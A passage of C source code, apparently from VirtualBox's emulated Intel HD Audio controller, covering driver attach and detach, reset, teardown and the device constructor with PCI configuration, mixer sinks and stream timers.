hdaR3DbgInfoCodecSelector(PPDMDEVINS pDevIns, PCDBGFINFOHLP pHlp, const char *pszArgs) { PHDASTATE pThis = PDMINS_2_DATA(pDevIns, PHDASTATE); if (pThis->pCodec->pfnDbgSelector) pThis->pCodec->pfnDbgSelector(pThis->pCodec, pHlp, pszArgs); else pHlp->pfnPrintf(pHlp, "Codec implementation doesn't provide corresponding callback\n"); } /** * @callback_method_impl{FNDBGFHANDLERDEV} */ static DECLCALLBACK(void) hdaR3DbgInfoMixer(PPDMDEVINS pDevIns, PCDBGFINFOHLP pHlp, const char *pszArgs) { PHDASTATE pThis = PDMINS_2_DATA(pDevIns, PHDASTATE); if (pThis->pMixer) AudioMixerDebug(pThis->pMixer, pHlp, pszArgs); else pHlp->pfnPrintf(pHlp, "Mixer not available\n"); } /* PDMIBASE */ /** * @interface_method_impl{PDMIBASE,pfnQueryInterface} */ static DECLCALLBACK(void *) hdaR3QueryInterface(struct PDMIBASE *pInterface, const char *pszIID) { PHDASTATE pThis = RT_FROM_MEMBER(pInterface, HDASTATE, IBase); Assert(&pThis->IBase == pInterface); PDMIBASE_RETURN_INTERFACE(pszIID, PDMIBASE, &pThis->IBase); return NULL; } /* PDMDEVREG */ /** * Attach command, internal version. * * This is called to let the device attach to a driver for a specified LUN * during runtime. This is not called during VM construction, the device * constructor has to attach to all the available drivers. * * @returns VBox status code. * @param pThis HDA state. * @param uLUN The logical unit which is being detached. * @param fFlags Flags, combination of the PDMDEVATT_FLAGS_* \#defines. * @param ppDrv Attached driver instance on success. Optional. */ static int hdaR3AttachInternal(PHDASTATE pThis, unsigned uLUN, uint32_t fFlags, PHDADRIVER *ppDrv) { RT_NOREF(fFlags); /* * Attach driver. */ char *pszDesc; if (RTStrAPrintf(&pszDesc, "Audio driver port (HDA) for LUN#%u", uLUN) <= 0) AssertLogRelFailedReturn(VERR_NO_MEMORY); PPDMIBASE pDrvBase; int rc = PDMDevHlpDriverAttach(pThis->pDevInsR3, uLUN, &pThis->IBase, &pDrvBase, pszDesc); if (RT_SUCCESS(rc)) { PHDADRIVER pDrv = (PHDADRIVER)RTMemAllocZ(sizeof(HDADRIVER)); if (pDrv) { pDrv->pDrvBase = pDrvBase; pDrv->pConnector = PDMIBASE_QUERY_INTERFACE(pDrvBase, PDMIAUDIOCONNECTOR); AssertMsg(pDrv->pConnector != NULL, ("Configuration error: LUN#%u has no host audio interface, rc=%Rrc\n", uLUN, rc)); pDrv->pHDAState = pThis; pDrv->uLUN = uLUN; /* * For now we always set the driver at LUN 0 as our primary * host backend. This might change in the future. */ if (pDrv->uLUN == 0) pDrv->fFlags |= PDMAUDIODRVFLAGS_PRIMARY; LogFunc(("LUN#%u: pCon=%p, drvFlags=0x%x\n", uLUN, pDrv->pConnector, pDrv->fFlags)); /* Attach to driver list if not attached yet. */ if (!pDrv->fAttached) { RTListAppend(&pThis->lstDrv, &pDrv->Node); pDrv->fAttached = true; } if (ppDrv) *ppDrv = pDrv; } else rc = VERR_NO_MEMORY; } else if (rc == VERR_PDM_NO_ATTACHED_DRIVER) LogFunc(("No attached driver for LUN #%u\n", uLUN)); if (RT_FAILURE(rc)) { /* Only free this string on failure; * must remain valid for the live of the driver instance. */ RTStrFree(pszDesc); } LogFunc(("uLUN=%u, fFlags=0x%x, rc=%Rrc\n", uLUN, fFlags, rc)); return rc; } /** * Detach command, internal version. * * This is called to let the device detach from a driver for a specified LUN * during runtime. * * @returns VBox status code. * @param pThis HDA state. * @param pDrv Driver to detach device from. * @param fFlags Flags, combination of the PDMDEVATT_FLAGS_* \#defines. */ static int hdaR3DetachInternal(PHDASTATE pThis, PHDADRIVER pDrv, uint32_t fFlags) { RT_NOREF(fFlags); AudioMixerSinkRemoveStream(pThis->SinkFront.pMixSink, pDrv->Front.pMixStrm); AudioMixerStreamDestroy(pDrv->Front.pMixStrm); pDrv->Front.pMixStrm = NULL; #ifdef VBOX_WITH_AUDIO_HDA_51_SURROUND AudioMixerSinkRemoveStream(pThis->SinkCenterLFE.pMixSink, pDrv->CenterLFE.pMixStrm); AudioMixerStreamDestroy(pDrv->CenterLFE.pMixStrm); pDrv->CenterLFE.pMixStrm = NULL; AudioMixerSinkRemoveStream(pThis->SinkRear.pMixSink, pDrv->Rear.pMixStrm); AudioMixerStreamDestroy(pDrv->Rear.pMixStrm); pDrv->Rear.pMixStrm = NULL; #endif AudioMixerSinkRemoveStream(pThis->SinkLineIn.pMixSink, pDrv->LineIn.pMixStrm); AudioMixerStreamDestroy(pDrv->LineIn.pMixStrm); pDrv->LineIn.pMixStrm = NULL; #ifdef VBOX_WITH_AUDIO_HDA_MIC_IN AudioMixerSinkRemoveStream(pThis->SinkMicIn.pMixSink, pDrv->MicIn.pMixStrm); AudioMixerStreamDestroy(pDrv->MicIn.pMixStrm); pDrv->MicIn.pMixStrm = NULL; #endif RTListNodeRemove(&pDrv->Node); LogFunc(("uLUN=%u, fFlags=0x%x\n", pDrv->uLUN, fFlags)); return VINF_SUCCESS; } /** * @interface_method_impl{PDMDEVREG,pfnAttach} */ static DECLCALLBACK(int) hdaR3Attach(PPDMDEVINS pDevIns, unsigned uLUN, uint32_t fFlags) { PHDASTATE pThis = PDMINS_2_DATA(pDevIns, PHDASTATE); DEVHDA_LOCK_RETURN(pThis, VERR_IGNORED); LogFunc(("uLUN=%u, fFlags=0x%x\n", uLUN, fFlags)); PHDADRIVER pDrv; int rc2 = hdaR3AttachInternal(pThis, uLUN, fFlags, &pDrv); if (RT_SUCCESS(rc2)) { PHDASTREAM pStream = hdaR3GetStreamFromSink(pThis, &pThis->SinkFront); if (DrvAudioHlpStreamCfgIsValid(&pStream->State.Cfg)) { rc2 = hdaR3UpdateStream(pThis, &pStream->State.Cfg); AssertRC(rc2); } #ifdef VBOX_WITH_AUDIO_HDA_51_SURROUND pStream = hdaR3GetStreamFromSink(pThis, &pThis->SinkCenterLFE); if (DrvAudioHlpStreamCfgIsValid(&pStream->State.Cfg)) { rc2 = hdaR3UpdateStream(pThis, &pStream->State.Cfg); AssertRC(rc2); } pStream = hdaR3GetStreamFromSink(pThis, &pThis->SinkRear); if (DrvAudioHlpStreamCfgIsValid(&pStream->State.Cfg)) { rc2 = hdaR3UpdateStream(pThis, &pStream->State.Cfg); AssertRC(rc2); } #endif pStream = hdaR3GetStreamFromSink(pThis, &pThis->SinkLineIn); if (DrvAudioHlpStreamCfgIsValid(&pStream->State.Cfg)) { rc2 = hdaR3UpdateStream(pThis, &pStream->State.Cfg); AssertRC(rc2); } #ifdef VBOX_WITH_AUDIO_HDA_MIC_IN pStream = hdaR3GetStreamFromSink(pThis, &pThis->SinkMicIn); if (DrvAudioHlpStreamCfgIsValid(&pStream->State.Cfg)) { rc2 = hdaR3UpdateStream(pThis, &pStream->State.Cfg); AssertRC(rc2); } #endif } DEVHDA_UNLOCK(pThis); return VINF_SUCCESS; } /** * @interface_method_impl{PDMDEVREG,pfnDetach} */ static DECLCALLBACK(void) hdaR3Detach(PPDMDEVINS pDevIns, unsigned uLUN, uint32_t fFlags) { PHDASTATE pThis = PDMINS_2_DATA(pDevIns, PHDASTATE); DEVHDA_LOCK(pThis); LogFunc(("uLUN=%u, fFlags=0x%x\n", uLUN, fFlags)); PHDADRIVER pDrv, pDrvNext; RTListForEachSafe(&pThis->lstDrv, pDrv, pDrvNext, HDADRIVER, Node) { if (pDrv->uLUN == uLUN) { int rc2 = hdaR3DetachInternal(pThis, pDrv, fFlags); if (RT_SUCCESS(rc2)) { RTMemFree(pDrv); pDrv = NULL; } break; } } DEVHDA_UNLOCK(pThis); } /** * Powers off the device. * * @param pDevIns Device instance to power off. */ static DECLCALLBACK(void) hdaR3PowerOff(PPDMDEVINS pDevIns) { PHDASTATE pThis = PDMINS_2_DATA(pDevIns, PHDASTATE); DEVHDA_LOCK_RETURN_VOID(pThis); LogRel2(("HDA: Powering off ...\n")); /* Ditto goes for the codec, which in turn uses the mixer. */ hdaCodecPowerOff(pThis->pCodec); /* * Note: Destroy the mixer while powering off and *not* in hdaR3Destruct, * giving the mixer the chance to release any references held to * PDM audio streams it maintains. */ if (pThis->pMixer) { AudioMixerDestroy(pThis->pMixer); pThis->pMixer = NULL; } DEVHDA_UNLOCK(pThis); } /** * Re-attaches (replaces) a driver with a new driver. * * This is only used by to attach the Null driver when it failed to attach the * one that was configured. * * @returns VBox status code. * @param pThis Device instance to re-attach driver to. * @param pDrv Driver instance used for attaching to. * If NULL is specified, a new driver will be created and appended * to the driver list. * @param uLUN The logical unit which is being re-detached. * @param pszDriver New driver name to attach. */ static int hdaR3ReattachInternal(PHDASTATE pThis, PHDADRIVER pDrv, uint8_t uLUN, const char *pszDriver) { AssertPtrReturn(pThis, VERR_INVALID_POINTER); AssertPtrReturn(pszDriver, VERR_INVALID_POINTER); int rc; if (pDrv) { rc = hdaR3DetachInternal(pThis, pDrv, 0 /* fFlags */); if (RT_SUCCESS(rc)) rc = PDMDevHlpDriverDetach(pThis->pDevInsR3, PDMIBASE_2_PDMDRV(pDrv->pDrvBase), 0 /* fFlags */); if (RT_FAILURE(rc)) return rc; pDrv = NULL; } PVM pVM = PDMDevHlpGetVM(pThis->pDevInsR3); PCFGMNODE pRoot = CFGMR3GetRoot(pVM); PCFGMNODE pDev0 = CFGMR3GetChild(pRoot, "Devices/hda/0/"); /* Remove LUN branch. */ CFGMR3RemoveNode(CFGMR3GetChildF(pDev0, "LUN#%u/", uLUN)); #define RC_CHECK() if (RT_FAILURE(rc)) { AssertReleaseRC(rc); break; } do { PCFGMNODE pLunL0; rc = CFGMR3InsertNodeF(pDev0, &pLunL0, "LUN#%u/", uLUN); RC_CHECK(); rc = CFGMR3InsertString(pLunL0, "Driver", "AUDIO"); RC_CHECK(); rc = CFGMR3InsertNode(pLunL0, "Config/", NULL); RC_CHECK(); PCFGMNODE pLunL1, pLunL2; rc = CFGMR3InsertNode (pLunL0, "AttachedDriver/", &pLunL1); RC_CHECK(); rc = CFGMR3InsertNode (pLunL1, "Config/", &pLunL2); RC_CHECK(); rc = CFGMR3InsertString(pLunL1, "Driver", pszDriver); RC_CHECK(); rc = CFGMR3InsertString(pLunL2, "AudioDriver", pszDriver); RC_CHECK(); } while (0); if (RT_SUCCESS(rc)) rc = hdaR3AttachInternal(pThis, uLUN, 0 /* fFlags */, NULL /* ppDrv */); LogFunc(("pThis=%p, uLUN=%u, pszDriver=%s, rc=%Rrc\n", pThis, uLUN, pszDriver, rc)); #undef RC_CHECK return rc; } /** * @interface_method_impl{PDMDEVREG,pfnReset} */ static DECLCALLBACK(void) hdaR3Reset(PPDMDEVINS pDevIns) { PHDASTATE pThis = PDMINS_2_DATA(pDevIns, PHDASTATE); LogFlowFuncEnter(); DEVHDA_LOCK_RETURN_VOID(pThis); /* * 18.2.6,7 defines that values of this registers might be cleared on power on/reset * hdaR3Reset shouldn't affects these registers. */ HDA_REG(pThis, WAKEEN) = 0x0; hdaR3GCTLReset(pThis); /* Indicate that HDA is not in reset. The firmware is supposed to (un)reset HDA, * but we can take a shortcut. */ HDA_REG(pThis, GCTL) = HDA_GCTL_CRST; DEVHDA_UNLOCK(pThis); } /** * @interface_method_impl{PDMDEVREG,pfnRelocate} */ static DECLCALLBACK(void) hdaR3Relocate(PPDMDEVINS pDevIns, RTGCINTPTR offDelta) { NOREF(offDelta); PHDASTATE pThis = PDMINS_2_DATA(pDevIns, PHDASTATE); pThis->pDevInsRC = PDMDEVINS_2_RCPTR(pDevIns); } /** * @interface_method_impl{PDMDEVREG,pfnDestruct} */ static DECLCALLBACK(int) hdaR3Destruct(PPDMDEVINS pDevIns) { PDMDEV_CHECK_VERSIONS_RETURN_QUIET(pDevIns); /* this shall come first */ PHDASTATE pThis = PDMINS_2_DATA(pDevIns, PHDASTATE); DEVHDA_LOCK(pThis); /** @todo r=bird: this will fail on early constructor failure. */ PHDADRIVER pDrv; while (!RTListIsEmpty(&pThis->lstDrv)) { pDrv = RTListGetFirst(&pThis->lstDrv, HDADRIVER, Node); RTListNodeRemove(&pDrv->Node); RTMemFree(pDrv); } if (pThis->pCodec) { hdaCodecDestruct(pThis->pCodec); RTMemFree(pThis->pCodec); pThis->pCodec = NULL; } RTMemFree(pThis->pu32CorbBuf); pThis->pu32CorbBuf = NULL; RTMemFree(pThis->pu64RirbBuf); pThis->pu64RirbBuf = NULL; for (uint8_t i = 0; i < HDA_MAX_STREAMS; i++) hdaR3StreamDestroy(&pThis->aStreams[i]); DEVHDA_UNLOCK(pThis); return VINF_SUCCESS; } /** * @interface_method_impl{PDMDEVREG,pfnConstruct} */ static DECLCALLBACK(int) hdaR3Construct(PPDMDEVINS pDevIns, int iInstance, PCFGMNODE pCfg) { PDMDEV_CHECK_VERSIONS_RETURN(pDevIns); /* this shall come first */ PHDASTATE pThis = PDMINS_2_DATA(pDevIns, PHDASTATE); Assert(iInstance == 0); RT_NOREF(iInstance); /* * Initialize the state sufficently to make the destructor work. */ pThis->uAlignmentCheckMagic = HDASTATE_ALIGNMENT_CHECK_MAGIC; RTListInit(&pThis->lstDrv); /** @todo r=bird: There are probably other things which should be * initialized here before we start failing. */ /* * Validations. */ if (!CFGMR3AreValuesValid(pCfg, "RZEnabled\0" "TimerHz\0" "PosAdjustEnabled\0" "PosAdjustFrames\0" "DebugEnabled\0" "DebugPathOut\0")) { return PDMDEV_SET_ERROR(pDevIns, VERR_PDM_DEVINS_UNKNOWN_CFG_VALUES, N_ ("Invalid configuration for the Intel HDA device")); } int rc = CFGMR3QueryBoolDef(pCfg, "RZEnabled", &pThis->fRZEnabled, true); if (RT_FAILURE(rc)) return PDMDEV_SET_ERROR(pDevIns, rc, N_("HDA configuration error: failed to read RCEnabled as boolean")); rc = CFGMR3QueryU16Def(pCfg, "TimerHz", &pThis->u16TimerHz, HDA_TIMER_HZ_DEFAULT /* Default value, if not set. */); if (RT_FAILURE(rc)) return PDMDEV_SET_ERROR(pDevIns, rc, N_("HDA configuration error: failed to read Hertz (Hz) rate as unsigned integer")); if (pThis->u16TimerHz != HDA_TIMER_HZ_DEFAULT) LogRel(("HDA: Using custom device timer rate (%RU16Hz)\n", pThis->u16TimerHz)); rc = CFGMR3QueryBoolDef(pCfg, "PosAdjustEnabled", &pThis->fPosAdjustEnabled, true); if (RT_FAILURE(rc)) return PDMDEV_SET_ERROR(pDevIns, rc, N_("HDA configuration error: failed to read position adjustment enabled as boolean")); if (!pThis->fPosAdjustEnabled) LogRel(("HDA: Position adjustment is disabled\n")); rc = CFGMR3QueryU16Def(pCfg, "PosAdjustFrames", &pThis->cPosAdjustFrames, HDA_POS_ADJUST_DEFAULT); if (RT_FAILURE(rc)) return PDMDEV_SET_ERROR(pDevIns, rc, N_("HDA configuration error: failed to read position adjustment frames as unsigned integer")); if (pThis->cPosAdjustFrames) LogRel(("HDA: Using custom position adjustment (%RU16 audio frames)\n", pThis->cPosAdjustFrames)); rc = CFGMR3QueryBoolDef(pCfg, "DebugEnabled", &pThis->Dbg.fEnabled, false); if (RT_FAILURE(rc)) return PDMDEV_SET_ERROR(pDevIns, rc, N_("HDA configuration error: failed to read debugging enabled flag as boolean")); rc = CFGMR3QueryStringDef(pCfg, "DebugPathOut", pThis->Dbg.szOutPath, sizeof(pThis->Dbg.szOutPath), VBOX_AUDIO_DEBUG_DUMP_PCM_DATA_PATH); if (RT_FAILURE(rc)) return PDMDEV_SET_ERROR(pDevIns, rc, N_("HDA configuration error: failed to read debugging output path flag as string")); if (!strlen(pThis->Dbg.szOutPath)) RTStrPrintf(pThis->Dbg.szOutPath, sizeof(pThis->Dbg.szOutPath), VBOX_AUDIO_DEBUG_DUMP_PCM_DATA_PATH); if (pThis->Dbg.fEnabled) LogRel2(("HDA: Debug output will be saved to '%s'\n", pThis->Dbg.szOutPath)); /* * Use an own critical section for the device instead of the default * one provided by PDM. This allows fine-grained locking in combination * with TM when timer-specific stuff is being called in e.g. the MMIO handlers. */ rc = PDMDevHlpCritSectInit(pDevIns, &pThis->CritSect, RT_SRC_POS, "HDA"); AssertRCReturn(rc, rc); rc = PDMDevHlpSetDeviceCritSect(pDevIns, PDMDevHlpCritSectGetNop(pDevIns)); AssertRCReturn(rc, rc); /* * Initialize data (most of it anyway). */ pThis->pDevInsR3 = pDevIns; pThis->pDevInsR0 = PDMDEVINS_2_R0PTR(pDevIns); pThis->pDevInsRC = PDMDEVINS_2_RCPTR(pDevIns); /* IBase */ pThis->IBase.pfnQueryInterface = hdaR3QueryInterface; /* PCI Device */ PCIDevSetVendorId (&pThis->PciDev, HDA_PCI_VENDOR_ID); /* nVidia */ PCIDevSetDeviceId (&pThis->PciDev, HDA_PCI_DEVICE_ID); /* HDA */ PCIDevSetCommand (&pThis->PciDev, 0x0000); /* 04 rw,ro - pcicmd. */ PCIDevSetStatus (&pThis->PciDev, VBOX_PCI_STATUS_CAP_LIST); /* 06 rwc?,ro? - pcists. */ PCIDevSetRevisionId (&pThis->PciDev, 0x01); /* 08 ro - rid. */ PCIDevSetClassProg (&pThis->PciDev, 0x00); /* 09 ro - pi. */ PCIDevSetClassSub (&pThis->PciDev, 0x03); /* 0a ro - scc; 03 == HDA. */ PCIDevSetClassBase (&pThis->PciDev, 0x04); /* 0b ro - bcc; 04 == multimedia. */ PCIDevSetHeaderType (&pThis->PciDev, 0x00); /* 0e ro - headtyp. */ PCIDevSetBaseAddress (&pThis->PciDev, 0, /* 10 rw - MMIO */ false /* fIoSpace */, false /* fPrefetchable */, true /* f64Bit */, 0x00000000); PCIDevSetInterruptLine (&pThis->PciDev, 0x00); /* 3c rw. */ PCIDevSetInterruptPin (&pThis->PciDev, 0x01); /* 3d ro - INTA#. */ #if defined(HDA_AS_PCI_EXPRESS) PCIDevSetCapabilityList (&pThis->PciDev, 0x80); #elif defined(VBOX_WITH_MSI_DEVICES) PCIDevSetCapabilityList (&pThis->PciDev, 0x60); #else PCIDevSetCapabilityList (&pThis->PciDev, 0x50); /* ICH6 datasheet 18.1.16 */ #endif /// @todo r=michaln: If there are really no PCIDevSetXx for these, the meaning /// of these values needs to be properly documented! /* HDCTL off 0x40 bit 0 selects signaling mode (1-HDA, 0 - Ac97) 18.1.19 */ PCIDevSetByte(&pThis->PciDev, 0x40, 0x01); /* Power Management */ PCIDevSetByte(&pThis->PciDev, 0x50 + 0, VBOX_PCI_CAP_ID_PM); PCIDevSetByte(&pThis->PciDev, 0x50 + 1, 0x0); /* next */ PCIDevSetWord(&pThis->PciDev, 0x50 + 2, VBOX_PCI_PM_CAP_DSI | 0x02 /* version, PM1.1 */ ); #ifdef HDA_AS_PCI_EXPRESS /* PCI Express */ PCIDevSetByte(&pThis->PciDev, 0x80 + 0, VBOX_PCI_CAP_ID_EXP); /* PCI_Express */ PCIDevSetByte(&pThis->PciDev, 0x80 + 1, 0x60); /* next */ /* Device flags */ PCIDevSetWord(&pThis->PciDev, 0x80 + 2, /* version */ 0x1 | /* Root Complex Integrated Endpoint */ (VBOX_PCI_EXP_TYPE_ROOT_INT_EP << 4) | /* MSI */ (100) << 9 ); /* Device capabilities */ PCIDevSetDWord(&pThis->PciDev, 0x80 + 4, VBOX_PCI_EXP_DEVCAP_FLRESET); /* Device control */ PCIDevSetWord( &pThis->PciDev, 0x80 + 8, 0); /* Device status */ PCIDevSetWord( &pThis->PciDev, 0x80 + 10, 0); /* Link caps */ PCIDevSetDWord(&pThis->PciDev, 0x80 + 12, 0); /* Link control */ PCIDevSetWord( &pThis->PciDev, 0x80 + 16, 0); /* Link status */ PCIDevSetWord( &pThis->PciDev, 0x80 + 18, 0); /* Slot capabilities */ PCIDevSetDWord(&pThis->PciDev, 0x80 + 20, 0); /* Slot control */ PCIDevSetWord( &pThis->PciDev, 0x80 + 24, 0); /* Slot status */ PCIDevSetWord( &pThis->PciDev, 0x80 + 26, 0); /* Root control */ PCIDevSetWord( &pThis->PciDev, 0x80 + 28, 0); /* Root capabilities */ PCIDevSetWord( &pThis->PciDev, 0x80 + 30, 0); /* Root status */ PCIDevSetDWord(&pThis->PciDev, 0x80 + 32, 0); /* Device capabilities 2 */ PCIDevSetDWord(&pThis->PciDev, 0x80 + 36, 0); /* Device control 2 */ PCIDevSetQWord(&pThis->PciDev, 0x80 + 40, 0); /* Link control 2 */ PCIDevSetQWord(&pThis->PciDev, 0x80 + 48, 0); /* Slot control 2 */ PCIDevSetWord( &pThis->PciDev, 0x80 + 56, 0); #endif /* * Register the PCI device. */ rc = PDMDevHlpPCIRegister(pDevIns, &pThis->PciDev); if (RT_FAILURE(rc)) return rc; rc = PDMDevHlpPCIIORegionRegister(pDevIns, 0, 0x4000, PCI_ADDRESS_SPACE_MEM, hdaR3PciIoRegionMap); if (RT_FAILURE(rc)) return rc; #ifdef VBOX_WITH_MSI_DEVICES PDMMSIREG MsiReg; RT_ZERO(MsiReg); MsiReg.cMsiVectors = 1; MsiReg.iMsiCapOffset = 0x60; MsiReg.iMsiNextOffset = 0x50; rc = PDMDevHlpPCIRegisterMsi(pDevIns, &MsiReg); if (RT_FAILURE(rc)) { /* That's OK, we can work without MSI */ PCIDevSetCapabilityList(&pThis->PciDev, 0x50); } #endif rc = PDMDevHlpSSMRegister(pDevIns, HDA_SSM_VERSION, sizeof(*pThis), hdaR3SaveExec, hdaR3LoadExec); if (RT_FAILURE(rc)) return rc; #ifdef VBOX_WITH_AUDIO_HDA_ASYNC_IO LogRel(("HDA: Asynchronous I/O enabled\n")); #endif uint8_t uLUN; for (uLUN = 0; uLUN < UINT8_MAX; ++uLUN) { LogFunc(("Trying to attach driver for LUN #%RU32 ...\n", uLUN)); rc = hdaR3AttachInternal(pThis, uLUN, 0 /* fFlags */, NULL /* ppDrv */); if (RT_FAILURE(rc)) { if (rc == VERR_PDM_NO_ATTACHED_DRIVER) rc = VINF_SUCCESS; else if (rc == VERR_AUDIO_BACKEND_INIT_FAILED) { hdaR3ReattachInternal(pThis, NULL /* pDrv */, uLUN, "NullAudio"); PDMDevHlpVMSetRuntimeError(pDevIns, 0 /*fFlags*/, "HostAudioNotResponding", N_("Host audio backend initialization has failed. Selecting the NULL audio backend " "with the consequence that no sound is audible")); /* Attaching to the NULL audio backend will never fail. */ rc = VINF_SUCCESS; } break; } } LogFunc(("cLUNs=%RU8, rc=%Rrc\n", uLUN, rc)); if (RT_SUCCESS(rc)) { rc = AudioMixerCreate("HDA Mixer", 0 /* uFlags */, &pThis->pMixer); if (RT_SUCCESS(rc)) { /* * Add mixer output sinks. */ #ifdef VBOX_WITH_AUDIO_HDA_51_SURROUND rc = AudioMixerCreateSink(pThis->pMixer, "[Playback] Front", AUDMIXSINKDIR_OUTPUT, &pThis->SinkFront.pMixSink); AssertRC(rc); rc = AudioMixerCreateSink(pThis->pMixer, "[Playback] Center / Subwoofer", AUDMIXSINKDIR_OUTPUT, &pThis->SinkCenterLFE.pMixSink); AssertRC(rc); rc = AudioMixerCreateSink(pThis->pMixer, "[Playback] Rear", AUDMIXSINKDIR_OUTPUT, &pThis->SinkRear.pMixSink); AssertRC(rc); #else rc = AudioMixerCreateSink(pThis->pMixer, "[Playback] PCM Output", AUDMIXSINKDIR_OUTPUT, &pThis->SinkFront.pMixSink); AssertRC(rc); #endif /* * Add mixer input sinks. */ rc = AudioMixerCreateSink(pThis->pMixer, "[Recording] Line In", AUDMIXSINKDIR_INPUT, &pThis->SinkLineIn.pMixSink); AssertRC(rc); #ifdef VBOX_WITH_AUDIO_HDA_MIC_IN rc = AudioMixerCreateSink(pThis->pMixer, "[Recording] Microphone In", AUDMIXSINKDIR_INPUT, &pThis->SinkMicIn.pMixSink); AssertRC(rc); #endif /* There is no master volume control. Set the master to max. */ PDMAUDIOVOLUME vol = { false, 255, 255 }; rc = AudioMixerSetMasterVolume(pThis->pMixer, &vol); AssertRC(rc); } } if (RT_SUCCESS(rc)) { /* Allocate CORB buffer. */ pThis->cbCorbBuf = HDA_CORB_SIZE * HDA_CORB_ELEMENT_SIZE; pThis->pu32CorbBuf = (uint32_t *)RTMemAllocZ(pThis->cbCorbBuf); if (pThis->pu32CorbBuf) { /* Allocate RIRB buffer. */ pThis->cbRirbBuf = HDA_RIRB_SIZE * HDA_RIRB_ELEMENT_SIZE; pThis->pu64RirbBuf = (uint64_t *)RTMemAllocZ(pThis->cbRirbBuf); if (pThis->pu64RirbBuf) { /* Allocate codec. */ pThis->pCodec = (PHDACODEC)RTMemAllocZ(sizeof(HDACODEC)); if (!pThis->pCodec) rc = PDMDEV_SET_ERROR(pDevIns, VERR_NO_MEMORY, N_("Out of memory allocating HDA codec state")); } else rc = PDMDEV_SET_ERROR(pDevIns, VERR_NO_MEMORY, N_("Out of memory allocating RIRB")); } else rc = PDMDEV_SET_ERROR(pDevIns, VERR_NO_MEMORY, N_("Out of memory allocating CORB")); if (RT_SUCCESS(rc)) { /* Set codec callbacks to this controller. */ pThis->pCodec->pfnCbMixerAddStream = hdaR3MixerAddStream; pThis->pCodec->pfnCbMixerRemoveStream = hdaR3MixerRemoveStream; pThis->pCodec->pfnCbMixerControl = hdaR3MixerControl; pThis->pCodec->pfnCbMixerSetVolume = hdaR3MixerSetVolume; pThis->pCodec->pHDAState = pThis; /* Assign HDA controller state to codec. */ /* Construct the codec. */ rc = hdaCodecConstruct(pDevIns, pThis->pCodec, 0 /* Codec index */, pCfg); if (RT_FAILURE(rc)) AssertRCReturn(rc, rc); /* ICH6 datasheet defines 0 values for SVID and SID (18.1.14-15), which together with values returned for verb F20 should provide device/codec recognition. */ Assert(pThis->pCodec->u16VendorId); Assert(pThis->pCodec->u16DeviceId); PCIDevSetSubSystemVendorId(&pThis->PciDev, pThis->pCodec->u16VendorId); /* 2c ro - intel.) */ PCIDevSetSubSystemId( &pThis->PciDev, pThis->pCodec->u16DeviceId); /* 2e ro. */ } } if (RT_SUCCESS(rc)) { /* * Create all hardware streams. */ for (uint8_t i = 0; i < HDA_MAX_STREAMS; ++i) { /* Create the emulation timer (per stream). * * Note: Use TMCLOCK_VIRTUAL_SYNC here, as the guest's HDA driver * relies on exact (virtual) DMA timing and uses DMA Position Buffers * instead of the LPIB registers. */ char szTimer[16]; RTStrPrintf2(szTimer, sizeof(szTimer), "HDA SD%RU8", i); rc = PDMDevHlpTMTimerCreate(pDevIns, TMCLOCK_VIRTUAL_SYNC, hdaR3Timer, &pThis->aStreams[i], TMTIMER_FLAGS_NO_CRIT_SECT, szTimer, &pThis->pTimer[i]); AssertRCReturn(rc, rc); /* Use our own critcal section for the device timer. * That way we can control more fine-grained when to lock what. */ rc = TMR3TimerSetCritSect(pThis->pTimer[i], &pThis->CritSect); AssertRCReturn(rc, rc); rc = hdaR3StreamCreate(&pThis->aStreams[i], pThis, i /* u8SD */); AssertRC(rc); } #ifdef VBOX_WITH_AUDIO_HDA_ONETIME_INIT /* * Initialize the driver chain. */ PHDADRIVER pDrv; RTListForEach(&pThis->lstDrv, pDrv, HDADRIVER, Node) { /* * Only primary drivers are critical for the VM to run. Everything else * might not worth showing an own error message box in the GUI. */ if (!(pDrv->fFlags & PDMAUDIODRVFLAGS_PRIMARY)) continue; PPDMIAUDIOCONNECTOR pCon = pDrv->pConnector; AssertPtr(pCon); bool fValidLineIn = AudioMixerStreamIsValid(pDrv->LineIn.pMixStrm); # ifdef VBOX_WITH_AUDIO_HDA_MIC_IN bool fValidMicIn = AudioMixerStreamIsValid(pDrv->MicIn.pMixStrm); # endif bool fValidOut = AudioMixerStreamIsValid(pDrv->Front.pMixStrm); # ifdef VBOX_WITH_AUDIO_HDA_51_SURROUND /** @todo Anything to do here? */ # endif if ( !fValidLineIn # ifdef VBOX_WITH_AUDIO_HDA_MIC_IN && !fValidMicIn # endif && !fValidOut) { LogRel(("HDA: Falling back to NULL backend (no sound audible)\n")); hdaR3Reset(pDevIns); hdaR3ReattachInternal(pThis, pDrv, pDrv->uLUN, "NullAudio"); PDMDevHlpVMSetRuntimeError(pDevIns, 0 /*fFlags*/, "HostAudioNotResponding", N_("No audio devices could be opened. Selecting the NULL audio backend " "with the consequence that no sound is audible")); } else { bool fWarn = false; PDMAUDIOBACKENDCFG backendCfg; int rc2 = pCon->pfnGetConfig(pCon, &backendCfg); if (RT_SUCCESS(rc2)) { if (backendCfg.cMaxStreamsIn) { # ifdef VBOX_WITH_AUDIO_HDA_MIC_IN /* If the audio backend supports two or more input streams at once, * warn if one of our two inputs (microphone-in and line-in) failed to initialize. */ if (backendCfg.cMaxStreamsIn >= 2) fWarn = !fValidLineIn || !fValidMicIn; /* If the audio backend only supports one input stream at once (e.g. pure ALSA, and * *not* ALSA via PulseAudio plugin!), only warn if both of our inputs failed to initialize. * One of the two simply is not in use then. */ else if (backendCfg.cMaxStreamsIn == 1) fWarn = !fValidLineIn && !fValidMicIn; /* Don't warn if our backend is not able of supporting any input streams at all. */ # else /* !VBOX_WITH_AUDIO_HDA_MIC_IN */ /* We only have line-in as input source. */ fWarn = !fValidLineIn; # endif /* VBOX_WITH_AUDIO_HDA_MIC_IN */ } if ( !fWarn && backendCfg.cMaxStreamsOut) { fWarn = !fValidOut; } } else { LogRel(("HDA: Unable to retrieve audio backend configuration for LUN #%RU8, rc=%Rrc\n", pDrv->uLUN, rc2)); fWarn = true; } if (fWarn) { char szMissingStreams[255]; size_t len = 0; if (!fValidLineIn) { LogRel(("HDA: WARNING: Unable to open PCM line input for LUN #%RU8!\n", pDrv->uLUN)); len = RTStrPrintf(szMissingStreams, sizeof(szMissingStreams), "PCM Input"); } # ifdef VBOX_WITH_AUDIO_HDA_MIC_IN if (!fValidMicIn) { LogRel(("HDA: WARNING: Unable to open PCM microphone input for LUN #%RU8!\n", pDrv->uLUN)); len += RTStrPrintf(szMissingStreams + len, sizeof(szMissingStreams) - len, len ? ", PCM Microphone" : "PCM Microphone"); } # endif /* 